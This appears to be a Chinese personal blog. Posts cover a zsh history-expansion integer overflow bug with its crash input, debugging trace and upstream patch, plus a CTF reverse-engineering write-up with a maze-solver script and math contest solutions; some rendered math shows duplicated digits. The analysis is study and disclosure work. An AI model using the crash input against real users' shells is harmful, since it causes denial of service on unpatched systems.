这次编译好的 zsh 带了符号表

with debug_info, not stripped 指示了符号表的存在。从而，我们使用 pwndbg --args ./Src/zsh -f 重新调试 zsh，发现该崩溃仍然可以触发。

1
stella16% echo Project Hazelita
2
Project Hazelita
3
stella16% !!3350964333
4

5
Program received signal SIGSEGV, Segmentation fault.

这次编译过的 zsh 也会触发错误

报错指示了问题出现在 Src/hist.c 的 getargs() 里：边界检查在 2436 行，而紧接着 2447 行的 words[2*arg1] 就是越界读发生的地方。

1
if (arg2 < arg1 || arg1 >= nwords || arg2 >= nwords) {
2
    /* remember, argN is indexed from 0, nwords is total no. of words */
3
    herrflush();
4
    zerr("no such word in event");
5
    return NULL;
6
}

J2rQ(y) 给出了分析。 J2rQ(y) 分析啥了？零音也不知道，但给 J2rQ(y) 一点人气吧。

J2rQ(y) 在攻击零音😭😭😭

这里，pwndbg 指示函数调用为

1
getargs (elist=0x5555557768a0, arg1=-944002963, arg2=-944002963) at hist.c:2447

因为整型溢出，我们输入的 3350964333 已经变成了 -944002963，作为 arg1 和 arg2 被传入了 getargs。但 Zsh 的开发者在这里的边界检查出了问题：他们

校验了 arg2 < arg1，以确保提取的结束范围不能小于起始范围。
校验了 arg1 >= nwords 和 arg2 >= nwords，以确保提取的词的索引不能超过当前历史记录的总词数。

但遗憾地：两个 arg 已经变成了负数，从而第 2 点检验完全通过了！于是代码来到第 2447 行的 OOB Read：2*arg1 算出来是 -1888005926，C 语言便去读 words[-1888005926]——以 short 为步长，这个下标落在基址下方约 3.5 GiB（2 × 1888005926 字节，正好等于截图里的 0x5555556a5510 − 0x55547458f6c4 ≈ 3,776,011,8523,776,011,8523,776,011,852 字节）的未映射页面上，一次 load 就 SIGSEGV 了。

另外，由于这一特性，事实上我们可以做到更多。在执行 echo LyCecilion loves Limity'roChen forever 后：

使用 !!2147483648：2147483648 卷成 INT_MIN（-2147483648），它照样通过了负数检查；可 2*arg1 在 32 位里又回绕成了 0，于是 words[0]、words[1] 正好是上一条指令的第一个词——zsh 会去「执行 echo 自身」。这是两次溢出接力：解析时卷成 INT_MIN，计算下标时再卷回 0。
使用 !!2147483649、!!2147483650：卷成 -2147483647、-2147483646 后，2*arg1 分别回绕成 2、4，读到的是上一条指令的第 1、第 2 个词。零音当时在 5 词的历史下看到它执行 LyCecilion、loves，在 1 词的历史下则得到空展开——因为此时下标已经越过 words[] 数组本体，读到的是相邻堆上的垃圾字节。所以这两个值的表现取决于当时的堆布局，并不是稳定行为——零音当年看到的 out of heap memory，也是某次垃圾值恰好让 pos2 - pos1 变成一个巨大正数、dupstrpfx 申请内存失败的结果。

（零音 fuzzing 的时候发现了一个特别神秘的值，可以在崩溃后达成输入一个出现俩，但只能删掉一个字母的特性，但零音忘了，，贵人多忘事这一块……）

成神之路？#

就在零音为这一发现而得意时，突然发现晴天霹雳：原来这个漏洞已经被人发现了？！

原来，就在几个月前（2025 年 7 月），一位 17 岁的安全研究员 livepwn 发现了该漏洞，并在其 GitHub Pages 上给出了一个 PoC（页面标题其实写的是「Advanced GDB Exploit Framework」，ZshShock 只是站点路径，不过后来大家都这么叫），并通过邮件告知了 zsh-workers。不得不说这 GitHub Pages 网站一眼就能看出来绝对是 AI 写的

livepwn 的 GitHub Pages 页面，一股 AI 味

然而，仅一个半小时后（按邮件头：livepwn 的邮件发于 2025-07-12 18:23 UTC，Mikael 的回复发于 19:52 UTC，相隔 1 小时 29 分），Mikael Magnusson 便通过邮件回复 livepwn：

This seems to be mostly nonsense, maybe ai generated[1]? But the crash does happen, this patch fixes it but I don’t use history substitution much … Nobody was notified at those dates, and today is not may 19th. Also the rest is mostly nonsensical, why would you locate the pointer to system() in glibc when you’re already writing arbitrary commands into a shell session.
翻译： 废话怎么这么多，这玩意怎么看着是 AI 写的？不过崩溃是真的，这个补丁修了——虽然这功能我也不爱用。今天不是 5 月 19 日，那些日子（应该指的是 GitHub Pages 上的日期）也没通知我们啊。你写得其他东西也挺神秘的，都能在 shell 会话中写任意指令了，为啥还费那么大劲定位 glibc 的 system() 指针？

于是……就用俩补丁修了这个漏洞。不过这边看来 livepwn 应该是备受打击了，在 Medium 上发布文章 My last Writeup (0day in Zsh (RCE))

I am Rana M.Sinan Adil aka (livepwn). I am 17 years old i was working on bug and also created a exploit.I don,t know much about report writing, so i took help of chatgpt to write for me. I reported this in zsh-security but they said a very harsh words “This seems to be mostly nonsense, maybe ai generated[1]”. This broke my heart, my eye,s turned in to a glass of water and i am quiting cyber security,because i waited for their reponse that they will tell some words that will motivate me, but. This is my life last hacking blog about the bug i found and also the exploit that i wrote. Hope you will enjoy :)
翻译： 我是 Rana M. Sinan Adil，也就是那个 livepwn，今年 17 岁。我最近一直在看这个漏洞，我还写了个 exploit！但我真不知道怎么写漏洞报告，所以就让 ChatGPT 帮忙了。我把漏洞交给了 zsh-security，结果他们还骂我半天，我好难受啊😭！挖出来这漏洞，竟然都不夸我一下？反正，我以后再也不搞网络安全了。这是我最后一篇网络安全博客了，望多多包涵。😢

啧……零音读到这里心头一紧啊。其实零音有点同情 livepwn 来着。但是，哎……看着 livepwn 难受零音也难受啊😭（零音还以为 Project Hazelita 首发这个漏洞了😭😭何意味……

零音：我好难受啊😭

但有一说一，livepwn 这个漏洞确实没法 RCE，尽管 livepwn 本人说可以。原因倒不是 livepwn 的 exploit 非要开 gdb（那只是 PoC 的取巧，不属于漏洞本身的性质），而是这个 bug 根本不给写原语：它读出来的是 words[] 数组之外的两个 short，这两个值随后只被当作历史字符串的偏移，交给 dupstrpfx 切出一段内存当作待执行的命令行。最坏的结果是「把内存里的字节读进一条待执行的命令」——有限的信息泄露，加上越界读本身必然带来的 SIGSEGV，也就是实打实的 DoS。没有任意写，自然谈不上 RCE。🤔所以感觉 livepwn 应该还是有点心急了。不过还是有点同情对方的——看了看 livepwn 的 Medium，livepwn 应该是一个 CTFer，Medium 上发了好多 CTF writeup，好像和零音一样，最近也在学 Heap——虽然零音已经淡坑 CTF 了。

不过真正遗憾的是——从这篇文章之后，livepwn 真的没有再发过 Medium 文章了——到本文初稿时（2026 年 2 月）已经过去半年多了。😢

修复#

Mikael Magnusson 起初的想法是修改 getargs 函数的声明，即

1
getargs(Histent elist, int arg1, int arg2)
2
getargs(Histent elist, unsigned int arg1, unsigned int arg2)

但 Bart Schaefer 最终反驳了这一点。Bart 说：

Changing the integer type of getargs() does fix the specific reported crash but the erroneous code is called from other places as well, so better to detect the bad integer and report error. I’m not even sure the reported example is meant to be valid history syntax? ”!!” followed by a word designator isn’t documented, and doesn’t seem to do anything except verify that the previous event has at least that many words. The entire event is still repeated as far as I can tell.
翻译： 改 getargs() 的参数类型确实能行，但是问题是这段代码也会在其他地方被调用，所以最好还是在检查到无效整数的时候报错。我最纳闷的是到底是谁在用 !! 这种语法，文档里都没提过这个啊？难道只是验证了一下上一条指令真有这么多单词吗…？

并给出了最终 patch。

1
ret = 0;
2
while (idigit(c)) {
3
    ret = ret * 10 + c - '0';
4
    if (ret < 0) {
5
        herrflush();
6
        zerr("no such word in event");
7
        return -2;
8
    }
9
    c = ingetc();
10
}
11
inungetc(c);

这个修改作用于 getargspec()（注意是 getargs() 的解析侧同伴，不是 getargs() 本身），它负责解析历史扩展里的词索引，把连续的数字字符以累乘的方式转成整数。每当执行一次 ret = ret * 10 + c - '0'; 后，只要数值越过 INT_MAX，ret 就会变成负数，而这个负数随后会一路传到 getargs() 里，最终引发越界读。新 patch 在循环内部插入 if (ret < 0) 的校验，一旦转负立刻报错返回，从解析层面就把非法值挡在了外面。严格说，这里依赖的是有符号溢出后的补码回绕，在 C 里属于实现行为而非标准保证；但「第一次溢出必然转负」这个性质让这道检查在实践中足够可靠。

为何 Bart 不喜欢 unsigned int 的改法呢？他自己的理由是「这段代码在别的地方也会被调用」——只改 getargs() 的参数类型，等于只堵住了其中一个入口。零音的理解还要再补一层：getargs() 的崩溃来自溢出后的负数仍能继续被使用，改成 unsigned 只是把负数换了个解释方式，并不能保证别处传进来的值仍然合法。故 Bart 的修改事实上更加稳妥。

修复到哪儿了？#

需要特别提醒的是：直到本文更新时，这道补丁仍然只存在于 git 里。 上游对应的提交是 9dcd08e58（“53820: detect integer overflow when parsing history word designators.”，2025-07-13）。零音在 2026 年 10 月重新核对过：官方 5.9.2（2026-07-12 发布）里的 getargspec() 与 5.9 逐字节相同，if (ret < 0) 依然缺席；用这份代码编译出来的 zsh 输入 !!3350964333，照样以 139 退出。Fedora 44 仓库里的 zsh-5.9-21.fc44 亦然。

换句话说，本文讨论的问题在发行版里依然可以稳定复现。如果你只是想确认自己的 shell 有没有中招，请以实际的版本与补丁状态为准，而不是以「上游已经修了」为准。这也算本文为数不多的现实意义了

终末之诗#

虽然说不是最新最热震撼首发，但毕竟是自己从头到尾挖出来的，应该是开心的吧😋虽然零音也不知道这玩意到底严格意义上算不算一个漏洞（现在回头看：可稳定触发的越界读，DoS 是真的，信息泄露是有限的，RCE 是谈不上的），但总之……哎零音你不是说自己不打 CTF 了，要转前端了吗？怎么一天变三次脸啊😡可恶的水母 😭呜呜呜别骂我了我要抑郁了

感谢 Project Hazelita 社群的朋友们在分析过程中提供的帮助，另外感谢 Gemini、GPT 和 DeepSeek 三位 AI 大手子辅助了分析。

NewYear CTF 2026 starless_c 题解

Sun, 22 Feb 2026 00:00:00 GMT

零音新年两天纯玩了，根本没时间做题，只完成了 starless_c 一道题，这里给出记录。其实感觉 NewYear CTF 的时间可以延长一下，至少延长到一周吧。跨年期间真没时间做 CTF 诶。

A person this far into a challenge has their path to follow. There were many paths, once, in a time that is past, lost many bytes and pages ago. Now there is only one path for you to choose. The path that leads to the flag.
入局至深，径行有常。
往昔万径丛生，皆随浮光掠影，没于卷轴字节之间。
今尔所向，别无他选。唯此孤径，直指 终末之旗。

题目#

本题的附件 starless_c 是一个无标准库、去符号化、纯 syscall 的 ELF 文件。使用 IDA Pro 分析，仅可看到 start 和 sub_6767900C 两个函数。首先看到 start 函数。

1
__int64 start()
2
{
3
    signed __int64 v0; // rax
4
    signed __int64 v1; // rax
5
    _BYTE act_[168]; // [rsp+0h] [rbp-A8h] BYREF
6

7
    strcpy(
8
        &act_[32],
9
        "There is a flag in the binary.\n"
10
        "  (The flag is a metaphor but also still a flag.)\n"
11
        "  (The binary could rightly be considered a gimmick.)\n");
12
    v0 = sys_write(1u, &act_[32], 0x87u);
13
    *(_QWORD *)act_ = byte_13370103;
14
    act_[11] = 4;
15
    v1 = sys_rt_sigaction(11, (const struct sigaction *)act_, 0, 8u);
16
    return sub_6767900C();
17
}

展开收起

Project Hazelita 社群的朋友可能会感到很熟悉，因为这段代码与零音在 hzlt!Game 2026 的 Pwn 赛道题目 VOCAEND 中的行为神似，参见 VOCAEND 源码 src/utils.c 第 159 行起，即下面的代码：

1
void setup_stealth_signal()
2
{
3
    struct kernel_sigaction act;
4
    memset(&act, 0, sizeof(act));
5

6
    act.k_sa_handler = emergency_recovery;
7

8
    act.k_sa_flags = 0x04000000;
9
    act.k_sa_restorer = my_restore;
10

11
    int magic_sig = getPrime(1) + 5;
12
    syscall(SYS_rt_sigaction, magic_sig, &act, NULL, 8);
13
}

零音在 VOCAEND 题目中手动构造了 struct sigaction，并调用 rt_sigaction 注册了 SIGFPE 的处理函数。这使得题目后文中可以通过令除数为 0 等的操作，使程序跳转到隐藏的控制流。本题亦运用了同样的手法，程序首先将提示词拷贝到 act_ 栈缓冲区中（从 act_[32] 开始），并直接调用 write 打印 0x87 个字节的提示到 1（stdout）。随后在栈上构造了 struct sigaction，其中信号处理函数地址为 0x13370103（后文会提到），并同时设置了 flags 标志位。随后，程序调用 rt_sigaction 将 SIGSEGV 错误绑定到了 0x13370103 处，最终进入 sub_6767900C 的游戏主逻辑。这即意味着，在游戏主逻辑中发生的一切 SIGSEGV 错误，都将由 0x13370103 处的函数接管。

我们使用 IDA Pro 继续跟进到游戏主逻辑。事实上，集中注意力，我们可以发现，在程序的 LOAD 段（程序运行时必须被加载到内存中的内容）存在大量 0x1000 字节的页（即 page，若参照题目的表述；页的大小由 IDA Pro 得到的汇编代码中的 align 1000h 可得）。下面的图片截取自一个起自 0x67679000 的页。

在 IDA Pro 中查看从 0x67679000 开始的内存页及其汇编代码

对于注意力欠佳的朋友，我们也可以通过 readelf 发现这一点。观察到 LOAD 段中大多数页的 Offset FileSiz 均为 0x1000。

使用 readelf 查看 LOAD 段中大小为 0x1000 的内存页

我们预先进行解释：事实上，这是一个迷宫内的推箱子游戏。内存中分配了一块块大小为 0x1000 字节的内存空间，每一页都代表该迷宫中的一个格子。由任意页的汇编代码，如

1
LOAD:000000006767901E                 jz      short sub_6767900C
2
LOAD:0000000067679020                 cmp     al, 77h ; 'w'
3
LOAD:0000000067679022                 jz      short loc_6767903C
4
LOAD:0000000067679024                 cmp     al, 73h ; 's'
5
LOAD:0000000067679026                 jz      short loc_6767905B
6
LOAD:0000000067679028                 cmp     al, 61h ; 'a'
7
LOAD:000000006767902A                 jz      short loc_6767907A
8
LOAD:000000006767902C                 cmp     al, 64h ; 'd'
9
LOAD:000000006767902E                 jz      short loc_67679099
10
LOAD:0000000067679030                 cmp     al, 66h ; 'f'
11
LOAD:0000000067679032                 jz      loc_676790B8

我们可以注意到，程序接收用户 w/s/a/d/f 的输入，这恰印证了我们的猜测——w/s/a/d 用于我们在迷宫中移动和推箱子，而 f 则为获取 Flag。注意到 f 会使得程序跳转到 loc_676790B8，我们分析这里的逻辑：

1
loc_676790B8:
2
jmp     near ptr n8962097_5
3
sub_6767900C endp

注意到程序跳转到了 n8962097_5。这里的代码被 IDA Pro 识别成了数据（dd 88C031h）。我们在该行按下 C 以强制转换为代码，这即得到了

1
LOAD:000000006767A000 loc_6767A000: ; CODE XREF: sub_6767900C:loc_676790B8↑j
2
LOAD:000000006767A000               ; sub_6767900C:loc_6767A0B8↓j ...
3
LOAD:000000006767A000                 xor     eax, eax
4
LOAD:000000006767A002                 mov     [rax], al
5
LOAD:000000006767A004                 jmp     near ptr n8962097_4

第一步的 xor eax, eax 清空了 eax 寄存器，事实上，eax 是 rax 的低 32 位，而写 eax 也会清空 rax 的高 32 位，从而 rax 被清空；第二步向 rax 表示的地址写一个字节，此时 rax 的地址指向 0，这不可避免地会造成 SIGSEGV。前文我们已经讨论过，SIGSEGV 将被错误处理函数接管，从而任何直接读取 Flag 的行为都会失败。我们自然会去探究读取 Flag 的过程，从而得到下面的跳转路径：

1
0x6767a000 -> 0x67682000 -> 0x6768a000 -> 0x67691000 -> 0x67692000 -> 0x42069000

定位到 loc_42069000。我们在函数开头按下 P 以将代码块强制转为函数 sub_42069000，得到

1
void __noreturn sub_42069000()
2
{
3
    signed __int64 v0; // rax
4
    int mode; // edx
5
    signed __int64 in_fd; // rax
6
    signed __int64 v3; // rax
7
    signed __int64 v4; // rax
8
    _QWORD filename_[2]; // [rsp-F0h] [rbp-F0h] BYREF
9
    char buf_[224]; // [rsp-E0h] [rbp-E0h] BYREF
10

11
    qmemcpy(
12
        buf_,
13
        "A person this far into a challenge has their path to follow. There were many paths, once, in a time that is past, lost many bytes and pages ago. Now there is only one path for you to choose. The path that leads to the flag.\n",
14
        sizeof(buf_));
15
    v0 = sys_write(1u, buf_, 0xE0u);
16
    filename_[1] = 0;
17
    filename_[0] = 'txt.galf'; // IDA 将 `filename_[0]` 视为 64 位常量导致的倒序，按照小端序的读法应当是 `flag.txt`。这并不影响我们的判断。
18
    in_fd = sys_open((const char *)filename_, 0, mode);
19
    v3 = sys_sendfile(1, in_fd, 0, 0x100u);
20
    v4 = sys_exit(0);
21
    __debugbreak(); // 共 3,712 次。
22
}

展开收起

读者应当已经发现：0x6767a000 -> 0x67682000 -> 0x6768a000 -> 0x67691000 -> 0x67692000 的过程中，代码总预先进行了 xor -> mov，这使得获取 Flag 的过程中有 5 个跳转处会造成 SIGSEGV。

出于好奇地，我们亦可以探究 SIGSEGV 后程序的行为，只需注意到 sub_13370103 处的代码：

1
void __noreturn sub_13370103()
2
{
3
    signed __int64 v0; // rax
4
    signed __int64 v1; // rax
5
    char And_so_the_son_of_the_fortune_teller_does_not_find_his_way_to_t[88]; // [rsp-58h] [rbp-58h] BYREF
6

7
    strcpy(
8
        And_so_the_son_of_the_fortune_teller_does_not_find_his_way_to_t,
9
        "And so the son of the fortune-teller does not find his way to the Starless C. Not yet.\n");
10
    v0 = sys_write(1u, And_so_the_son_of_the_fortune_teller_does_not_find_his_way_to_t, 0x57u);
11
    v1 = sys_exit(1);
12
    __debugbreak(); // 共 3,684 次。
13
}

程序打印嘲讽性文字后退出。进而我们明确了大致的路径：我们必须通过 f 到达 0x42069000 以打印出 Flag，但需要在 5 次跳转中绕过 xor -> mov 的预先处理，从而避免程序被 SIGSEGV 的异常处理函数接管。从而我们需要找到能够 NOP 掉该预先处理的方法。考虑到我们仍未使用 w/s/a/d 的移动，我们取一个页中典型的代码块进行分析，如按下 a 时：

1
case 'a': // 向左走
2
    v38 = MEMORY; // 读取左边格子的数据
3
    if (MEMORY == 0x90) // 如果左边格子的开头是 `0x90`，即如果这里有箱子
4
    {
5
        MEMORY = 8962097; // 则把左边格子的箱子拿走，换成 SIGSEGV 的崩溃陷阱
6
        MEMORY = v38;     // 并把箱子 `v38` 放到再往左一格的地方 `0x67687000`
7
    }
8
    JUMPOUT(0x6768800C); // 玩家跳进左边格子，偏移 `+0x0C` 的位置

这便可以理解为推箱子游戏。迷宫中的每一个位置（包括空位和箱子）都具有一个页，事实上，它们的页的结构是完全一致的，唯一的差别是，空位页的开头是 0x88c031，使得 Flag 校验机制跳转到这里时会造成 SIGSEGV；而箱子页的开头是 0x90909090，使得 Flag 校验机制跳转到这里后会向后继续滑动。倘若我们向左走而左侧有箱子，则我们会将箱子推到更左侧一格的位置。（当然，程序并未校验箱子的位置的左侧是否仍有箱子，这即，若我们将箱子推向箱子，则两个箱子会合二为一，一个箱子会丢失。）在完成页首的交换后，程序进入偏移 +0x0C 处，这是为了绕过刚刚交换来的 0x88c031，直接进入下一轮的 w/s/a/d/f 的判定过程。

考虑一个箱子页，当 Flag 校验机制跳转到这里后，因为页开头的 4 个 NOP，它会自动顺延到后文。我们在 loc_6767A000 中已经见识到，一个含有 SIGSEGV 的崩溃陷阱通常会进行 xor -> mov 后再 jmp 到下文，而陷阱 xor -> mov 恰占据 4 个字节的位置，使得箱子页开头的 4 个字节的 NOP 可以完全覆盖该陷阱。从而我们完全明白了下面的做法：我们需要在一个由 23 个格子（结点）所构成的连通图中，确保箱子不互相碰撞地推动位于初始位置的 5 个箱子到 Flag 校验机制将要跳转到的 5 个位置，使得 Flag 校验机制在跳转到对应位置时有 4 个 NOP 接应并能滑动到下一个判定位置，最终到达显示 Flag 的逻辑。

解答#

下面给出一个可行的 Exploit 脚本，该脚本由 Codex 在零音的帮助下完成。

脚本使用 parse_elf_segments 和 vaddr_to_off 函数，对 ELF 文件进行内存地址向文件偏移的转换，随后使用 build_maze 和 parse_block 函数构造了整个迷宫地图。具体地，脚本使用 Capstone 从 ELF 文件中提取出了 23 个结点对应的程序的内存地址，并从对应的程序中提取出了 (next_node, dest, beyond) 元组（往某个方向走，将进入哪个结点，面前的箱子将会被推到哪里）。

最终，脚本寻找以 0x90909090 为页首的出生点，即箱子的初始位置，并使用广度优先搜索（BFS）进行了最优路径规划。具体地，脚本维护了一个序列 q = deque()，并将任意一次使得箱子未撞墙的移动加入到队列中，遍历队列直到 5 个箱子均移动到了所需的位置。最终顺着字典 prev 倒推，并将整个走法拼接为字符串。

Codex 使用了位掩码以加快脚本的速度，具体地，Codex 将箱子的位置压缩为了二进制整数（Bitmask），并通过校验该整数是否凑齐了 REQUIRED_BASES 的掩码（即是否有 boxes & req_mask == req_mask）以判定是否移动完毕。

1
#!/usr/bin/env python3
2
import struct
3
from pathlib import Path
4
from collections import deque
5
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
6

7
BIN_PATH = Path("starless_c")
8

9
# Required chain bases for safe 'f' jump
10
REQUIRED_BASES = [
11
    0x6767A000,
12
    0x67682000,
13
    0x6768A000,
14
    0x67691000,
15
    0x67692000,
16
]
17

18
DIRECTIONS = [('w', 0x77), ('s', 0x73), ('a', 0x61), ('d', 0x64)]
19

20

21
def parse_elf_segments(blob: bytes):
22
    phoff = struct.unpack_from('<Q', blob, 0x20)[0]
23
    phentsz = struct.unpack_from('<H', blob, 0x36)[0]
24
    phnum = struct.unpack_from('<H', blob, 0x38)[0]
25
    segs = []
26
    for i in range(phnum):
27
        off = phoff + i * phentsz
28
        p_type, _p_flags = struct.unpack_from('<II', blob, off)
29
        if p_type != 1:
30
            continue
31
        p_offset, p_vaddr, _p_paddr, p_filesz, _p_memsz, _p_align = struct.unpack_from(
32
            '<QQQQQQ', blob, off + 8
33
        )
34
        segs.append((p_vaddr, p_offset, p_filesz))
35
    return segs
36

37

38
def vaddr_to_off(vaddr, segs_sorted):
39
    for va, off, sz in segs_sorted:
40
        if va <= vaddr < va + sz:
41
            return off + (vaddr - va)
42
    return None
43

44

45
def parse_block(blob, label_va, vaddr_to_off_fn):
46
    off = vaddr_to_off_fn(label_va)
47
    if off is None:
48
        return None
49
    code = blob[off:off + 0x80]
50
    md = Cs(CS_ARCH_X86, CS_MODE_64)
51
    md.detail = True
52
    addr_x = addr_y = jmp_t = None
53
    for ins in md.disasm(code, label_va):
54
        if ins.mnemonic == 'mov' and len(ins.operands) == 2:
55
            op0, op1 = ins.operands
56
            if op0.type == 1 and op1.type == 3 and op1.mem.base == 41 and ins.reg_name(op0.reg) == 'eax':
57
                addr_x = ins.address + ins.size + op1.mem.disp
58
            if op0.type == 3 and op0.mem.base == 41 and op1.type == 1 and ins.reg_name(op1.reg) == 'eax':
59
                addr_y = ins.address + ins.size + op0.mem.disp
60
        if ins.mnemonic == 'jmp' and ins.operands[0].type == 2:
61
            jmp_t = ins.operands[0].imm
62
            break
63
    return addr_x, addr_y, jmp_t
64

65

66
def build_maze(blob):
67
    segs = parse_elf_segments(blob)
68
    segs_sorted = sorted(segs)
69

70
    def v2o(v):
71
        return vaddr_to_off(v, segs_sorted)
72

73
    pages = [(va, off) for va, off, sz in segs if sz == 0x1000]
74

75
    # Nodes are pages that contain the standard maze dispatcher (jmp at +0x56)
76
    nodes = []
77
    for va, off in pages:
78
        if off + 0x56 < len(blob) and blob[off + 0x56] == 0xE9:
79
            nodes.append((va, off))
80

81
    node_set = set(va for va, _ in nodes)
82

83
    md = Cs(CS_ARCH_X86, CS_MODE_64)
84
    md.detail = True
85

86
    transitions = {}
87
    for va, off in nodes:
88
        code = blob[off + 0x0C:off + 0x200]
89
        insns = list(md.disasm(code, va + 0x0C))
90
        labels = {}
91
        for i, ins in enumerate(insns[:-1]):
92
            if ins.mnemonic == 'cmp' and len(ins.operands) == 2:
93
                if ins.reg_name(ins.operands[0].reg) == 'al' and ins.operands[1].type == 2:
94
                    imm = ins.operands[1].imm & 0xFF
95
                    nxt = insns[i + 1]
96
                    if nxt.mnemonic in ('je', 'jz') and nxt.operands[0].type == 2:
97
                        labels[imm] = nxt.operands[0].imm
98

99
        dmap = {}
100
        for ch, imm in DIRECTIONS:
101
            label = labels.get(imm)
102
            if label is None:
103
                continue
104
            addr_x, addr_y, jmp_t = parse_block(blob, label, v2o)
105
            next_node = jmp_t - 0x0C
106
            if next_node not in node_set:
107
                continue
108
            dmap[ch] = (next_node, addr_x, addr_y)
109
        transitions[va] = dmap
110

111
    return transitions, node_set, segs_sorted
112

113

114
def solve():
115
    blob = BIN_PATH.read_bytes()
116
    transitions, node_set, segs_sorted = build_maze(blob)
117

118
    def v2o(v):
119
        return vaddr_to_off(v, segs_sorted)
120

121
    # Node index for bitmask of box positions
122
    node_list = sorted(node_set)
123
    node_index = {a: i for i, a in enumerate(node_list)}
124

125
    # Initial boxes: bases with 0x90909090 dword
126
    init_boxes = 0
127
    for va in node_list:
128
        off = v2o(va)
129
        if off is None:
130
            continue
131
        d = struct.unpack_from('<I', blob, off)[0]
132
        if d == 0x90909090:
133
            init_boxes |= (1 << node_index[va])
134

135
    # Target boxes (chain bases)
136
    req_mask = 0
137
    for r in REQUIRED_BASES:
138
        req_mask |= (1 << node_index[r])
139

140
    start_node = 0x67679000
141

142
    # BFS over (player_position, box_mask)
143
    start_state = (start_node, init_boxes)
144
    q = deque([start_state])
145
    prev = {start_state: (None, None)}
146

147
    found = None
148
    while q:
149
        node, boxes = q.popleft()
150
        if (boxes & req_mask) == req_mask:
151
            found = (node, boxes)
152
            break
153
        for ch, (next_node, dest, beyond) in transitions[node].items():
154
            dest_idx = node_index[dest]
155
            dest_has = (boxes >> dest_idx) & 1
156
            if dest_has:
157
                if beyond not in node_index:
158
                    continue
159
                beyond_idx = node_index[beyond]
160
                if (boxes >> beyond_idx) & 1:
161
                    continue
162
                nboxes = boxes & ~(1 << dest_idx)
163
                nboxes |= (1 << beyond_idx)
164
            else:
165
                nboxes = boxes
166

167
            state = (next_node, nboxes)
168
            if state not in prev:
169
                prev[state] = ((node, boxes), ch)
170
                q.append(state)
171

172
    if not found:
173
        print("No solution found.")
174
        return
175

176
    # Reconstruct path
177
    path = []
178
    cur = found
179
    while prev[cur][0] is not None:
180
        pstate, ch = prev[cur]
181
        path.append(ch)
182
        cur = pstate
183

184
    path = ''.join(reversed(path))
185
    print(path)
186

187

188
if __name__ == "__main__":
189
    solve()

展开收起

AGMC 数学竞赛高中组 2026.2 二试参赛解答

Sat, 21 Feb 2026 00:00:00 GMT

下面是零音对第五届 AGMC 数学竞赛高中组 2026.2 二试部分的一些解答. 这里的解答与零音向主办方提交的解答有一些出入，主要是做了一些严谨性和准确性上的修改，但与官方答案在许多题目上有显著不同，在一些题目的处理上较官方答案更为灵活. 零音应当确保下述解答的正确性，但仍望读者以审慎的心态阅读.

这次的题目比起章鱼杯来讲友善很多，但零音因为太久没碰数学，从而早已生疏，提起笔来不知道该如何. 2026 年 11 月末，零音要踏上自己的第一场 CMC 征程了，可现在的零音还没有开始准备，被 CTF 和网络安全「耽误」太久了. 印象中喜好数学的旧日的神楽坂零音啊，希望你不会为现在的零音而感到遗憾吧.

Problem 11#

题目

如果一个数位不含 000 的正整数 mmm 的各数位顺序无论如何排列，总能被另一个正整数 nnn 整除，则我们称这样的正整数 mmm 是能被 nnn「绝对整除」的.

例如，555555555 能被 151515 绝对整除，648648648 能被 181818 绝对整除.

求能被 636363 绝对整除的最小正整数.
求所有的正整数 nnn，使得存在能被 nnn 绝对整除的正整数.

能被 63 绝对整除的最小正整数#

一个正整数可以被 636363 绝对整除，等价于该正整数的任意排列都可以被 999 和 777 整除. 其中，被 999 整除仅取决于数位和，即数位和是 999 的倍数；但被 777 整除则依赖于排列.

考虑可被 777 绝对整除的正整数 mmm，任取其中两个数位 a,ba, ba,b，将它们排在相邻的位置，再调换它们，得到的两个数都应当被 777 整除. 假设这两个排列分别为 …ab…\dots a b \dots…ab… 和 …ba…\dots b a \dots…ba…，且 bbb 在第一个排列中右侧还有 kkk 个数位，于是两个数的差为

9×(a−b)×10k.9 \times (a-b) \times 10^k.9×(a−b)×10k.

须有

9×(a−b)×10k≡0(mod7).9 \times (a-b) \times 10^k \equiv 0 \pmod{7}.9×(a−b)×10k≡0(mod7).

因为 gcd⁡(9×10k,7)=1\gcd(9 \times 10^k, 7) = 1gcd(9×10k,7)=1，所以必然有 a−b≡0(mod7)a-b \equiv 0 \pmod{7}a−b≡0(mod7). 遍历 a,b∈{1,2,…,9}a, b \in \{1, 2, \dots, 9\}a,b∈{1,2,…,9}，从而只有 a=ba=ba=b 或 {a,b}={1,8},{2,9}\{a,b\} = \{1,8\}, \{2,9\}{a,b}={1,8},{2,9} 时条件满足. 这就是说，mmm 的所有数字除以 777 的余数必须完全相同.

记 Rk=(10k−1)/9R_k = (10^k-1)/9Rk=(10k−1)/9 为含 kkk 个 111 的数. 若所有数位模 777 都同余于 rrr，则任意排列模 777 都同余于 rRkrR_krRk. 因此，绝对整除的条件恰为 7∣rRk7 \mid rR_k7∣rRk，以及数位和是 999 的倍数.

当 1≤k≤61 \le k \le 61≤k≤6 时，RkR_kRk 模 777 的余数依次为 1,4,6,5,2,01, 4, 6, 5, 2, 01,4,6,5,2,0. 所以，若 k<6k < 6k<6，只能有 r=0r=0r=0，也就是所有数位均为 777；但此时数位和 7k7k7k 不是 999 的倍数. 因而符合条件的数至少有 666 位.

对于 666 位数，若包含数字 111，其余数位只能为 111 或 888. 设有 ttt 个 888，则数位和为 6+7t6+7t6+7t，由 9∣6+7t9 \mid 6+7t9∣6+7t 和 0≤t≤60 \le t \le 60≤t≤6 得 t=3t=3t=3. 将数位从小到大排列便得到 111888111888111888. 它确实符合条件，而任何不含 111 的 666 位数都比它大. 因而所求最小值是

111888.\boxed{111888.}111888.

选手解答允许提交题目脚本，下面的 C++ 程序也可以枚举验证这一结果：

1
#include <bits/stdc++.h>
2
using namespace std;
3

4
int main() {
5
    auto repunit_mod7 = 0; // repunit(k) mod 7
6
    for (int k = 1; ; ++k) {
7
        repunit_mod7 = (repunit_mod7 * 10 + 1) % 7;
8
        string best = "";
9

10
        for (int r = 0; r <= 6; ++r) {
11
            // For absolute divisibility by 7, all digits must be congruent mod 7.
12
            // r=0 => only digit 7 (0 not allowed). r=1,2 have two digits: r and r+7.
13
            int d1 = (r == 0) ? 7 : r;
14
            int d2 = (r == 1 || r == 2) ? r + 7 : -1;
15

16
            // Condition for divisibility by 7: either r==0 or repunit(k)≡0 (mod 7).
17
            if (r != 0 && repunit_mod7 != 0) continue;
18

19
            string candidate;
20
            if (d2 == -1) {
21
                if ((d1 * k) % 9 != 0) continue;
22
                candidate.assign(k, char('0' + d1));
23
            } else {
24
                // sum = k*d1 + 7*t, where t is count of d2
25
                int mod = (k * d1) % 9;
26
